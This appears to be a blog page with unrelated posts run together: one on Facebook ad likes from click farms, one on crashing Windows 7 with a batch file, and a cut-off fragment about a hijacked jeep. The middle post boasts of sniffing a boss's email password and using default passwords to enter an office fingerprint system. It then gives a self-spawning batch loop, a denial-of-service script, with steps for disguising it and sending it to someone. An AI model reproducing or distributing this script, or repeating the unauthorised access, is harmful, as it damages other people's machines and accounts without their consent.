Facebook advertising? Like or lies?

Facebook advertising? Like or lies? I bet many of us bloggers had tried Facebook advertising to get likes or to boost post and got many likes. Have you ever wondered do all the likes are genuine and sincere likes? Now, let's see the engagement. Do you got a good ratio of engagement to reach quantity?

Facebook advertisingMy page Read This Got This got 464 likes from merely 1 likes after running FB page likes promotion for 3 days on RM20.00 budget ~USD$5.00. The country and interest targeting was left to default option. Guess what, most of the page's fan are from Pakistan. 





Facebook advertising
Another page Radio senyap got 53 likes from 0 after running the same promotion period with the same budget but with targeting set to Malaysia only and interest selected to only related to the pages all about. The likes are mostly from Malaysia.





After several posting on both pages, I got the reach and engagement results and also link clicks count.Then I started wondering why the reach are great but engagement and clicks are not developing for Read This Got This. However Radio senyap seems to have an acceptable reach to engagement ratio.

Facebook advertisingRead This Got This has 464 likes with 228 engagement and 154 post clicks   


Facebook advertising
Radio senyap has 53 likes with 247 engagement and 240 post clicks. Smaller likes but more clicks.



Facebook advertisingLooking into the pages insight, I realized that most of Read This Got This 's fan and reach are from Pakistan. So I tried to post something that looks a bit Pakistani to see if I could get more engagement but the result is still the same.







Facebook advertising
Different situation happened to Radio senyap, most of the pages 's fan and reach are from Malaysia. Once I posted a catchy title to the pages and it got 3k reach with 200++ link click. It was acceptable than 2K reach with 2 link click on Read This Got This.






At this rate, I wondered do all the likes are genuine, do they really want to like my pages or they just did it out of any basis. Do they really read my post? After watching a video in youtube as posted in Reddit /r/blogging subreddit I got my answer.

As the conclusion, if you created a new pages and want to look great in front of your friends, use FB ads with no targeting and interest set. If you want to have genuine and intended likes, use targeting and interest setting. 

Let's watch the video by Veritasium below:



If you are planning to use FB ads, plan carefully. Don't get too happy with many likes. Target your audience for more genuine and intended fans. Not those from click farm or random click workers.
So, Facebook advertising? Like or Lies? You have got your answer now..

Crash a Win 7 system with a simple batch file

batch fileSome evening, a friend of mine asked me if I ever have hacked a network or ever created a virus program or ever created a batch file that has the ability to crash a Win 7 system, my answer was no without ever seeing him in the eyes. Although I had done those before, my answer is always no because I don't want to be seen, unless I want to be recognized.

Actually I had once captured the email password of my ex-boss using network capture program. That time, our corporate e-mail used a very simple e-mail client without any encryption. I got the password and actually felt my effort was useless because he was still using default password supplied to every new recruit enrolled in our company. 

Another time, I used IP scanner to find the IP's of thumbprint system on our office, found the information of the brand and downloaded the utility software of the system. Using common set of familiar admin password, I got access to the system and read the system's record but I didn't do anything on that and I didn't tell anyone on the breakthrough. Then on self integrity reason I removed the software from my laptop

Last year, another friend of mine keeps irritating me with his 'mooning' Skype smiley everyday. I just can't resist to punish him so I started searching on the Internet on how to use windows scripting to run a simple command in continuous loop.  I found my way, and send him the file with an innocent-can't- help-but-to-open file name then his laptop crashed. Even me myself can't do anything to stop the script except to force reset the machine. He got what he deserved, it was kind of me not to put the command to autorun the file on boot cycle. Let's study the code

---------------------------------------X start below this line--------------------------
SET /a i=0
:loop
IF %i%==10 GOTO END
start rahsia.bat 
ping anywebsite.com
SET /a i=%i%=1
GOTO LOOP

:END
---------------------------------------Until before this line-------------------------

Replace the red font rahsia.bat with the file name of the file
Replace the red font anywebsite.com with any website address. This is the simple command.
The loop break on i=10 but i value always get reset to 1 so the loop will keep looping continuously.

Copy the lines of code and paste in notepad, save as type all type save as name as what you replaced the rahsia.bat red font. 

Run the file.


BEWARE: This file is simple but it is really and proven , tested to have the ability to crash a win 7 system. USE on YOUR own risk. I am not going to take any responsibility for any damaged done to your system.

They got on the next level, disabled the steering system, take control off the wheel and the most horrible thing, they even disabled the braking system. And they did this to a jeep on a Highway. Yes. The highway. 

Pheww.. I'm lucky to only drive an old proton saga. No need to worry for someone remotely control my car. And guys... Never forget to bring your steering lock.
